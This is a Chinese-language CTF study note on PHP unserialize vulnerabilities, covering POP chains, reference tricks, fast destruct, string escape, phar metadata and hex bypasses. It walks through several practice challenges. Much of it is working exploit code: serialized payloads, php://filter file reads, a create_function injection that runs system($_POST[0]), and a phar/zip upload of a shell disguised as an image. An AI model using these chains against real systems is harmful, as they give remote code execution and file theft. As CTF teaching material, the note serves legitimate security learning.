Bootstrap

反序列化学习笔记【一文打通ctf中的反序列化题目】

反序列化

什么是序列化

将各种类型的数据压缩按照一定格式存储的过程 使用函数serialize()

举例:

//源代码
<?php
    class DEMO1{
    public $func = 'evil';
    public $arg = 'phpinfo()';
    ...一些方法 不过序列化不在意这些
}
//序列化结果
O:5:"DEMO1":2:{s:4:"func";s:4:"evil";s:3:"arg";s:9:"phpinfo()";}

这里的O表示这是一个对象
    对象名占5个字符
    对象名是DEMO1
    对象有2个属性
    注意属性的长度存在不可见字符0  用来区分属性 是public 还是private 或者protected

什么是反序列化

php反序列化漏洞又称对象注入 , 可能会导致远程代码执行(RCE)

理解为漏洞执行unserialize函数 调用某一类并执行魔术方法 之后执行类中的函数 产生安全问题

漏洞前提

  1. unserialize()函数的变量可控
  2. php文件中存在可利用的类,类中有魔术方法

利用流程

步骤:
  1. 把题目代码复制到本地
  2. 注释掉方法和一些没有用的东西
  3. 本地对属性赋值,构造序列化,url编码后输出,避免把不可见字符的影响
操作过程举例:

对源代码进行注释后赋值

<?php
class DEMO1{
    //赋值
public $func = 'evil';
public $arg = 'phpinfo()';

// public function safe(){
// echo $this->arg;
// }
// public function evil() {
// eval($this->arg);
// }
// public function run(){
// $this->{$this->func}();
// }
}
// $obj = unserialize($_GET['a']);
// $obj->run();

然后再在最后输出结果

echo(serialize(new DEMO1()));    //单纯序列化
echo("\n");
echo (urlencode(serialize(new DEMO1())));    //进行url编码

三种赋值

内部直接赋值 只能赋值字符串
class DEMO1{
    public $func = 'evil';
    public $arg = 'phpinfo();';
}
echo(serialize(new DEMO1())); 
外部赋值 只能访问public属性的变量
class DEMO1{
    public $func = 'evil';
    public $arg = 'phpinfo()';
}
//新建一个然后直接输出这个$o
$o = new DEMO1();
$o -> func = 'evil';
$o -> arg = 'phpinfo();'
    
echo(serialize($o)); 

小技巧: 对于php7.1+版本,对属性容错机制较高,就算不是public也可以在本地修改成public

构造方法赋值 (万能方法)解决上述所有麻烦
class DEMO1{
    public $func;
    public $arg;
    function __construct(){
        $this -> func = 'evil';
        $this -> arg = phpinfo();
    }
}
echo(serialize(new DEMO1())); 

POP chain

魔术方法:

__construct()		   //对象创建(new)时会自动调用。
__wakeup() 		       //使用unserialize时触发
__sleep() 		       //使用serialize时触发
__destruct() 	       //对象被销毁时触发
__call() 		       //在对象上下文中调用不可访问的方法时触发
__callStatic() 	       //在静态上下文中调用不可访问的方法时触发
__get() 		       //用于从不可访问的属性读取数据 包括private或者是不存在的
__set() 		       //用于将数据写入不可访问的属性
__isset() 		       //在不可访问的属性上调用isset()或empty()触发
__unset()  		       //在不可访问的属性上使用unset()时触发
__toString() 		   //把类当作字符串使用时触发
__invoke()             //当脚本尝试将对象调用为函数时触发  就是加了括号
__autoload()           //在代码中当调用不存在的类时会自动调用该方法。

题目练习

例题1:

http://122.114.252.87:1110/index2.php

解法1: 非预期解,手工调用

第一步首先把网页上源代码复制下来 删除没用的 注释方法

<?php
class Read 
{
    // public function get_file($value)
    // {
    //     $text = base64_encode(file_get_contents($value));
    //     return $text;
    // }
}
class Show
{
    public $source;
    public $var;
    public $class1;
    // public function __construct($name='index.php')
    // {
    //     $this->source = $name;
    //     echo $this->source.' Welcome'."<br>";    
    // }
    //关键点  会读取文件内容  我们的目标就是读取flag.php里面的内容
    public function __toString()
    {   
        $content = $this->class1->get_file($this->var);
        //  因为get_file方法在Read中所有class1一定是Read的一个实例化对象
        echo $content;
        return $content;
    }
 
    // public function _show()
    // {
    //     if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
    //         die('hacker');
    //     } else {
    //         highlight_file($this->source);
    //     }

    // }
 
    // public function Change()
    // {
    //     if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
    //         echo "hacker";
    //     }
    // }
    // public function __get($key){
    //     $function=$this->$key;
    //     $this->{$key}();
    // }
}
// if(isset($_GET['sid']))
// {
//     $sid=$_GET['sid'];
//     $config=unserialize($_GET['config']);
//     $config->$sid;
// }
// else
// {
//     $show = new Show('index2.php');
//     $show->_show();
// }

$s = new Show();
$s -> var = 'flag.php';

$r = new Read();
$s -> class1 = $r;

echo(urlencode(serialize($s)));

非预期可以直接通过参数sid手动调用__toString方法而不是使用魔术方法 注意调用时不要加括号

输入

http://122.114.252.87:1110/index2.php?config=O%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BO%3A4%3A%22Read%22%3A0%3A%7B%7D%7D&sid=__toString

得到base64编码的字符串

PD9waHAKJGZsYWcgPSAiZmxhZ3syNTZkN2ZkNi1kYjUxLTQ0YjktOGIyZC04OGUxN2IwODg2ZTl9IjsKPz4=

进行解密
在这里插入图片描述

成功得到flag!

解法2:利用魔术方法调用__toString方法
__toString() 		   //把类当作字符串使用时触发

在正则表达式中把类当做了字符串

<?php
class Read 
{
    // public function get_file($value)
    // {
    //     $text = base64_encode(file_get_contents($value));
    //     return $text;
    // }
}
class Show
{
    public $source;
    public $var;
    public $class1;
    // public function __construct($name='index.php')
    // {
    //     $this->source = $name;
    //     echo $this->source.' Welcome'."<br>";    
    // }
    //关键点  会读取文件内容  我们的目标就是读取flag.php里面的内容
    public function __toString()
    {   
        $content = $this->class1->get_file($this->var);
        //  因为get_file方法在Read中所有class1一定是Read的一个实例化对象
        echo $content;
        return $content;
    }
 
    // public function _show()
    // {
    //     if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
    //         die('hacker');
    //     } else {
    //         highlight_file($this->source);
    //     }

    // }
 
    // public function Change()
    // {
    //     if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
    //         echo "hacker";
    //     }
    // }
    // public function __get($key){
    //     $function=$this->$key;
    //     $this->{$key}();
    // }
}
// if(isset($_GET['sid']))
// {
//     $sid=$_GET['sid'];
//     $config=unserialize($_GET['config']);
//     $config->$sid;
// }
// else
// {
//     $show = new Show('index2.php');
//     $show->_show();
// }

//倒着写的 这个是终点
$r = new Read();

$s = new Show();
$s -> var = 'flag.php';
$s -> class1 = $r;

$s2 = new Show();
$s2 -> source = $s;

echo(urlencode(serialize($s2)));  //最后是对起点进行序列化

一定要注意好s和s2的区别,首先肯定是对s2进行序列化 然后sid中执行字符串匹配的方法,

当通过s2去调用source的时候,因为source里面是类的对象,这个时候该对象也会执行,相当于去把s这个类对象,当做字符串去匹配正则表达式的时候,触发了s的toString方法,与s2没有关系,s2只是一个存放s的入口。

此外当sid为_show的时候会出现两次加密字符串是因为触发了:

else {
     highlight_file($this->source);
}

因为$this -> source的结果就是编码字符串

然后还有一进入正则表达式的方法时就调用了一次

所以一共显示了两次

解密后成功得到flag!

例题2:

http://122.114.252.87:1110/index3.php

题目:
index3.php You are in my range!
<?php
error_reporting(0);
class Vox{
        protected $headset;
        public $sound;
    //考虑fun函数作为最终的利用点
        public function fun($pulse){
            //include!!!!危险函数 文件包含 通过文件流 伪协议 base64 读取flag.php文件
                include($pulse);
        }
    //调用invoke魔术方法  对象作为函数时触发 找用小括号的地方
        public function __invoke(){
                //这里可以调用fun函数
                $this->fun($this->headset);
        }
}

class Saw{
        public $fearless;
        public $gun;
        public function __construct($file='index.php'){
                $this->fearless = $file;
                echo $this->fearless . ' You are in my range!'."<br>";
        }
       //对象视为字符串触发 定位到正则匹配
        public function __toString(){
            //把gun设置为Petal的对象访问fearless 属于不存在属性
            //需要注意的是gun设定为一个数组了 其中有一个键值为‘gun’ 所以给该键值进行相应赋值value gun = array("gun" => $b)
                $this->gun['gun']->fearless;
                return "Saw";
        }
		//只是一个普通的方法 因为只有一个下划线  发现根本调用不了直接排除就好了
        public function _pain(){
                if($this->fearless){
                        highlight_file($this->fearless);
                }
        }
       //wakeup使用unserialize的时候自动触发
        public function __wakeup(){
               //正则匹配 把对象视为字符串 触发其toString方法
                if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
                        echo "Does it hurt? That's right";
                        $this->fearless = "index3.php";
                }
        }
}

class Petal{
        public $seed;
        public function __construct(){
                $this->seed = array();
        }
        //寻找不可访问的属性 寻找箭头
        public function __get($sun){
                
            $Nourishment = $this->seed;
            //函数的调用后面有括号  可以把类的对象作为函数调用 触发invoke 
                return $Nourishment();
        }
}

if(isset($_GET['ozo'])){
        unserialize($_GET['ozo']);   //只有反序列化一定是自动触发的过程
}
else{
        $Saw = new Saw('index3.php');
        $Saw->_pain();
}
?>
解题:

起始位置:先考虑魔术方法,destruct或者wakeup 现在题目中只能去利用wakeup作为起始。

结束位置:利用危险的函数,比如include,highlight_file去进行文件内容的读取

知识点补充:

  1. 遇到正则匹配不要慌,那正是toString方法自动调用的入口

  2. 如果需要触发的魔术方法在一个方法中,那么就new两个对象交互使用

  3. include文件包含读取php文件内容常用模板 文件流伪协议base64 即:

php://filter/convert.base64-encode/resource=flag.php
  1. private的赋值直接在内部,在外面可能赋值不成功

构建exp的顺序是从结尾往起始写的,逆向思维,就是我达成这个目的需要什么事情作为前提就是思考的过程,所以最终serialize的是exp的最后值

解题过程:

  1. 首先需要找到最后的危险函数,看到了在Vox里面的include。
  2. 然后想要使用include就要调用fun这个函数
  3. 想要调用fun就要触发__invoke这个魔术方法
__invoke()                    //当脚本尝试将对象调用为函数时触发
  1. 作为函数就是添加了一个小括号去触发,发现在Petal类中__get方法具备这个调用函数的功能,所以需要去触发__get这个方法
__get() 		    //用于从不可访问的属性读取数据   包括属性不可访问和不存在
  1. 因为与访问相关,所以全局搜索->去找哪里会访问,可以发现在Saw类中的__toString中有一个利用数组特性去访问fearless的过程,这个fearless属于上面的get方法中不存在的属性,为不可访问属性,会触发__get,所以需要去触发__toString这个魔术方法
__toString() 		    //把类当作字符串使用时触发
  1. 这就需要去利用正则表达式,视为字符串的特性去触发这个toString方法,而正则表达式在wakeup魔术方法里面
__wakeup() 		    //使用unserialize时触发
  1. 所以直接在反序列化的时候就会触发这个wakeup魔术方法,到此整个pop链的逻辑全部理清

exp:

$v = new Vox;
//headset的赋值在内部直接赋值为php://filter/convert.base64-encode/resource=flag.php

$p = new Petal;
$p -> seed = $v;   //把$v这个对象作为函数  触发这个对象的invoke方法

$s = new Saw;
$s -> gun = array("gun" => $p);    //让$p这个对象去访问fearless 不存在触发这个对象中的get方法
$s2 = new Saw;
$s2 -> fearless = $s;       //把$s这个对象作为字符串 触发这个对象中的toString方法

echo urlencode(serialize($s2));   //输出最终结果

自己写的exp:

index3.php You are in my range!
<?php
error_reporting(0);
class Vox{
        protected $headset = 'php://filter/convert.base64-encode/resource=flag.php';
        public $sound;
    //考虑fun函数作为最终的利用点
        public function fun($pulse){
                include($pulse);
        }
    //调用invoke魔术方法  对象作为函数时触发 找用小括号的地方
        public function __invoke(){
                //这里可以调用fun函数
                $this->fun($this->headset);
        }
}

class Saw{
        public $fearless;
        public $gun;
        public function __construct($file='index.php'){
                $this->fearless = $file;
                echo $this->fearless . ' You are in my range!'."<br>";
        }
       //对象视为字符串触发 定位到正则匹配
        public function __toString(){
            //把gun设置为Petal的对象访问fearless 属于不存在属性
                $this->gun['gun']->fearless;
                return "Saw";
        }
		//只是一个普通的方法 因为只有一个下划线  发现根本调用不了直接排除就好了
        public function _pain(){
                if($this->fearless){
                        highlight_file($this->fearless);
                }
        }
       //wakeup使用unserialize的时候自动触发
        public function __wakeup(){
               //正则匹配 把对象视为字符串 触发其toString方法
                if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
                        echo "Does it hurt? That's right";
                        $this->fearless = "index3.php";
                }
        }
}

class Petal{
        public $seed;
        public function __construct(){
                $this->seed = array();
        }
        //寻找不可访问的属性 寻找箭头
        public function __get($sun){
                
            $Nourishment = $this->seed;
            //函数的调用后面有括号  可以把类的对象作为函数调用 触发invoke 
                return $Nourishment();
        }
}

// if(isset($_GET['ozo'])){
//         unserialize($_GET['ozo']);   //只有反序列化一定是自动触发的过程
// }
// else{
//         $Saw = new Saw('index3.php');
//         $Saw->_pain();
// }

$a = new Saw();

$a2 = new Saw();

$a -> fearless = $a2;

$b = new Petal;
$a2 -> gun = array("gun" => $b);
$c = new Vox;
$b -> seed = $c;

echo urlencode(serialize($a));
?>

输入后成功得到一段base64密文

在这里插入图片描述
在这里插入图片描述

解密成功得到flag!

例题3:

http://122.114.252.87:1110/gwb.php

数组特性
<?php
class A{
    public function f(){
        echo "i am f() from class A";
    }
}
$arr = [new A, 'f'];
$arr();

运行结果:i am f() from class A

表明当一个数组被当做函数触发时,数组第一个元素是对象,第二个元素是方法的名字(字符串),那么就会调用该对象下的该方法。即可以调用任意对象的任意方法

题目源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
        public $mod1;
        public $mod2;
         public $key;
    //起始位置
        public function __destruct()
        {        
            //后面有括号 函数调用 考虑使用数组的特性
                unserialize($this->key)();
                $this->mod2 = "welcome ".$this->mod1;
                  
        } 
}

class GetFlag
{        public $code;
         public $action;
        public function get_flag(){
            //利用这段代码进行creat_function方法的调用
            $a=$this->action;
            $a('', $this->code);
        }
}
unserialize($_GET[0]);
?>
exp:
<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
        public $mod1;
        public $mod2;
         public $key;
        public function __destruct()
        {        
                // unserialize($this->key)();
                // $this->mod2 = "welcome ".$this->mod1;
                  
        } 
}

class GetFlag
{        
        public $code = 'return(0);}echo(123);system($_POST[0]);//';
         public $action = "create_function";
        public function get_flag(){
            // $a=$this->action;
            // $a('', $this->code);
            //相当于创建了一个名为a的函数 无参 函数内容如下
            function a(){
                return(0);}echo(123);system($_POST[0]);//}
            //提前把函数a进行闭合 然后后面多余的括号注释掉
}

$a = new func();
$arr = [new GetFlag, 'get_flag'];
$a -> key = serialize($arr);
// unserialize($_GET[0]);
echo urlencode(serialize($a));

?>

传上去之后当我们看到echo的123证明成功执行了这个create_function函数 然后通过system危险函数只需要post参数值就可以进行任意命令执行

0=cat \flag.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4Gk1cqUF-1689937146841)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230707203557878.png)]

成功获取flag 查看一下源代码即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bTeXBavv-1689937146842)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230707203630384.png)]

指针问题:

对于一些系统中生成的随机值进行绕过的方法 用C语言中的取地址符&进行指针引用,在序列化的时候类型为R

例题1:BUU CODE REVIEW 1 BUUOJ

题目:
 <?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

传入时存在一个弱类型的比较 用数组即可绕过

在BUU类中存在一个uniqid()函数 以微秒级生成标识 每时每刻都在改变,所以我们没办法确定input的值传入 而是通过指针的方法调用correct的值进行绕过

<?php

class BUU {
   public $correct = "";
   public $input = "";

//    public function __destruct() {
//        try {
//            $this->correct = base64_encode(uniqid());
//            if($this->correct === $this->input) {
//                echo file_get_contents("/flag");
//            }
//        } catch (Exception $e) {
//        }
//    }
}

$a = new BUU;
$a -> input = &$a -> correct;
echo serialize($a);

生成payload:

O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-660KiqGC-1689937146842)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230718161302969.png)]

例题2:2020蓝帽杯

题目:
<?php
class Seri{
    public $alize;
    // public function __construct($alize) {
    //     $this->alize = $alize;
    // }
    public function __destruct(){
        $this->alize->getFlag();
    }
}

class Flag{
    public $f;
    public $t1;
    public $t2;

    function __construct($file){
        echo "Another construction!!";
        $this->f = $file;
        $this->t1 = $this->t2 = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->t2 = md5(rand(1,10000));
        echo $this->t1;
        echo $this->t2;
        if($this->t1 === $this->t2)
        {
            if(isset($this->f)){
                echo @highlight_file($this->f,true);
                echo 'niubi';
            }
        } else {
            echo "no";
        }
    }
    
}
$p = $_GET['p'];
if (isset($p)) {
    $p = unserialize($p);
} else {
    show_source(__FILE__);
    // echo "NONONO";
}

// $a = new Seri;
// $b = new Flag;  注意使用该语句生成payload的时候要把本地的方法禁用
// $a -> alize = $b;
// $b -> t1 = &$b -> t2; 
// $b -> f = 'flag.php';
// echo serialize($a);


[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TyBEwYzE-1689937146842)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230718164821359.png)]

但是本道题因为是rand函数 随机生成的范围有限

所以可以随意设置一个范围内的数字 然后通过bp进行爆破

畸形序列化字符串

应用领域

  1. 绕过__wakeup()
  2. fast destruct快速析构
wakeup绕过

在老版本的php中对序列化的结果的对象属性值+n

fast destruct

类需要利用析构方法进行某种操作(帮助你去拿flag),但是在析构之前会调用一些方法进行过滤或干扰,常见的出题形式:

<?php
$obj = unserialize($_GET['exp']);
$obj -> safe_filter();    //调用一个进行安全检查的方法

快速析构的原理:

当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功;

但是由于给的是一个畸形的反序列化字符串,是不标准的,php对这个畸形序列化字符串得到的对象不放心,会赶紧把该对象清除掉,就会触发其析构方法。

这样就会提前触发析构方法,不需要等到所用语句都执行结束,也就可以避免一些安全检查方法的调用。

0708反序列化字符逃逸

开篇例题:

题目:

http://122.114.252.87:2030/

 <?php
show_source("index.php");
//函数作用:把0*0 替换为\0\0\0  因为后面这个内容是在单引号里面包裹 所以斜杠就是斜杠  但是如果在双引号里面包裹就会变成转义字符
function write($data) {
    //关键所在这里的替换字符数不等长  3到6字符的替换
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    //6到3字符的替换
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'world';
    function __destruct(){
        $c = 'hello'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//关于read和write函数 如果可以保证外层替换的字符串存在  内层的不存在  就可以只触发外层函数
$b = unserialize(read(write(serialize($a)))); 

对于双引号和单引号的测试如下

php -a   //直接在cmd中输入 会启动php

php > echo '\n';
\n               //单引号是什么就输出什么
php > echo "\n";
                //转义后只有换行
php >

类比sql注入中的逃逸

select * from users where u='' and p=''
//进行逃逸
select * from users where u='\' and p=' or 1=1'  //单引号会被转义掉
=> select * from users where u=' and p=' or 1=1'

本质:

对序列化字符串进行不等长的字符串替换,导致本来属于普通字符串的一部分字符串变成了序列化的一部分,或者导致本来不属于字符串的一部分变成了字符串的一部分,进而造成了序列化数据的错乱,导致了对象注入。

解题:

获取A的序列化

<?php
class A{
    public $username="UN";
    public $password="PW";
    
}

echo serialize(new A)

?>
O:1:"A":2:{s:8:"username";s:2:"UN";s:8:"password";s:2:"PW";}

获取BC的序列化

<?php
class B{
    public $b = 'world';
    // function __destruct(){
    //      字符串的拼接触发toString 
    //      $c = 'hello'.$this->b;
    //     //echo类的对象会触发toString方法
    //     echo $c;
    // }
}

class C{
    public $c = "flag.php";
    // function __toString(){
    //     //flag.php
    //     echo file_get_contents($this->c);
    //     return 'nice';
    // }
}

$b = new B;
$c = new C;
$b -> b = $c;
echo serialize($b)

?>
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

接下来需要把BC读取flag的序列化结果填入到A中

首先对于序列化的属性进行讲解:

a:3:{i:0;s:6:"张三";i:1;s:6:"李四";i:2;i:18;}

简单说明下序列化字符串
a:3 ——> 代表集合中有3个元素,a则是array类型(o则是object,s则是string,i则是integer等等)
i:0;s:6:“张三” ——> i:0则是第一个元素,s:6则是string,字符串长度为6,元素是张三
i:2;i:18 ——> i:2则是第三个元素,i:18则是int,整数不计算长度,元素是18

a – array
b – boolean
d – double
i – integer
o – common object
r – reference
s – string
C – custom object
O – class
N – null
R – pointer reference
U – unicode string
N 表示的是 NULL

所以把我们生成的两个序列化放到一起研究如何利用:

O:1:"A":2:{s:8:"username";s:2:"UN";s:8:"password";s:2:"PW";}
object 一个 为A类 中有两个成员 
    第一个是string型 长度为8 名为username 其值为string型长度为2 值为UN 
    第二个是string型 长度为8 名为password 其值为string型长度为2 值为PW
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
object 一个 为B类 中有一个成员
    第一个为string型 长度为1 名为b 
    其值为object型 一个 值为C 其中包含一个成员 string型 名为c 其值为string型长度为8 值为flag.php

拼接:BC 填入到 A中 因为函数执行的是A的对象 把PW给删了 分号结尾

O:1:"A":2:{属性s:8:"username";属性的值s:2:"UN";s:8:"password";s:2:" 补一个分号结尾;这些全部吃掉 把password约束吃掉的结果 作为username的值  这里缺少属性 补一个 属性s:8:"password";属性的值(object型)O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}} 这里的两个符号";也多余了 补充保证格式正确s:0:"";s:0""; }

添加到PW的位置后我们发现 一个双引号后面直接来了个O有些突兀

直接放到函数中进行生成

<?php
class A{
    public $username="UN";
    public $password=';s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"';
   
}
echo serialize(new A)
?>

即为

O:1:"A":2:{s:8:"username";s:2:"UN";s:8:"password";s:82:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"";}

然后去考虑如何才能吃掉:

替换规则是\0\0\0 替换为0*0 是六到三的替换

也就是每一组替换可以吃掉3个长度的字符

需要吃掉的内容:";s:8:“password”;s:82:

用python测一下长度

>>> len('''";s:8:"password";s:82:''')
22
>>> 22/3
7.333333333333333

不是3的整数倍 所以需要自己添加值凑成3的倍数

把前面的UN也吃掉就好了:UN";s:8:“password”;s:82:

然后继续利用python生成\0\0\0 共8组

>>> '\0\0\0'
'\x00\x00\x00'
>>> '\\0\\0\\0'
'\\0\\0\\0'
>>> '\\0\\0\\0' * 8
'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'
>>>

因为转义 所以双杠后自己替换一下就好了

因为决定某个值的长度不是双引号的闭合 而是前面的数字

所以把我们生成的替换字符放进去就会多读取后面的内容

<?php
class A{
    public $username='\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0xx';  //后面补充两个字符 因为24-22=2 去补充
    public $password=';s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"';
   
}
echo serialize(new A)
?>

生成:

O:1:"A":2:{s:8:"username";s:50:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0xx";s:8:"password";s:82:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"";}
>>> len('''xx";s:8:"password";s:82:''')
24
>>>正好是往后面读取24

但此时出现的问题时 你自己补充了两个xx确实后面吃的个数是24但是属性值前面的50也是补充后的结果 6*8 = 48->24 那么虽然补充了两个xx 但是意味着需要往后读50-24 = 26个字符长度 故读取失败

所以我们的补位不应该出现在这个属性值里面 而是在外面

O:1:"A":2:{s:8:"username";s:50:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:82:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"";}
<?php
class A{
    public $username='\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0';  
    public $password='x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"';  //在这里的开头补充x“ 相当于补充了两位
   
}
echo serialize(new A)
?>
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:84:"x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"";}

此时往后读24

>>> len('''";s:8:"password";s:84:"x''')
24

最终payload为:

http://122.114.252.87:2030/?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"

url编码一下即可

成功获取flag!:flag{a6c175ea-d851-5cf1-cd6f-3aad733ae896}

思路总结:

做题步骤

  1. 写出基本序列化
  2. 写出注入的对象
  3. 写出注入的对象 分析是长到短还是短到长的替换,决定要把对象注入到什么地方
  4. 算清楚替换的差值,计算需要吃掉或挤出(逃逸)的字符串长度,保证这个长度是替换的差值的整数倍,如果不是 则加字符串
  5. 构造替换,对象注入

长到短的替换

在第一个元素进行替换,进而吃掉第二个元素的约束,第二个元素就逃逸出来了

短到长的替换

暂缺

0718 Phar反序列化

Phar是什么?

可以将多个文件组合成一个文件,

访问

phar://xxx.phar/1.png

zip://xxx.zip#1.png

攻击思路 在上传包含中的利用

可以上传图片,不能上传php

可以包含 但是只能include('$userinput.php');

压缩一个shell.php到1.zip,重命名为1.png,上传

包含:zip://upload.png#shell或phar://upload.png/shell 因为在包含的时候在尾部上面的include会拼接上一个php

如何反序列化

条件

  1. 需要有可用的类,类下有魔术方法,最后POP chain调用到危险方法
  2. 需要文件操作函数去触发 phar:// stream
  3. 有上传或者写文件的操作,可以把无损phar文件写入web服务器,后缀名任意

本地phar的条件

在php.ini中 phar.readonly = Off

构造phar反序列化

  1. 把class定义的代码抄下来,把方法注释了
  2. 构造pop链
  3. echo serialize($o)
  4. 贴phar八股文
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

总结:

还是正常做反序列化的流程,找pop chain,然后本地构造好序列化

之前:echo serialize($o);

现在:生成phar文件把$o加载进去 就是在setMetadata中

可以利用的函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9ahWly6o-1689937146844)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230718142957456.png)]

绕过反序列化中的关键字

hex 通用

s:1:“A” 和 S:1:"\61"是一样的意思

当标识字符串的s为大写的时候,\hex标识对应字符

所以绕过flag的过滤:S:4:“\66\6c\61\67”

绕过\0字符 php7.1+

虽然类中定义的属性可能不是public 但是我们可以假装是public,然后生成public类型的反序列化字符串。由于PHP7.1+的容错机制可以反序列化成功

private->public

例题:[网鼎杯 2020 青龙组]AreUSerialz
题目:
 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

寻找pop链:

可以发现在read方法中存在file_get_contents函数,是可以利用获取flag的地方,所以需要我们调用read方法 可以发现在process方法中找到,就需要调用process方法并且需要op为2 所以construct方法中的无法使用,需要使用destruct方法,需要绕过他的强类型比较 将op设置为数字型的2 在强类型比较中字符型和数字型的2是不相等的 但在弱类型比较中是相等的 数字2就不加引号就可以了

绕过上传点的限制:

在is_valid函数中对ascii码进行一定检测,有限定范围 但是我们生成的序列化中存在\0字符,需要通过S的hex机制进行绕过检测

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op = 2;
    protected $filename = 'flag.php';
    protected $content;

    // function __construct() {
    //     $op = "1";
    //     $filename = "/tmp/tmpfile";
    //     $content = "Hello World!";
    //     $this->process();
    // }

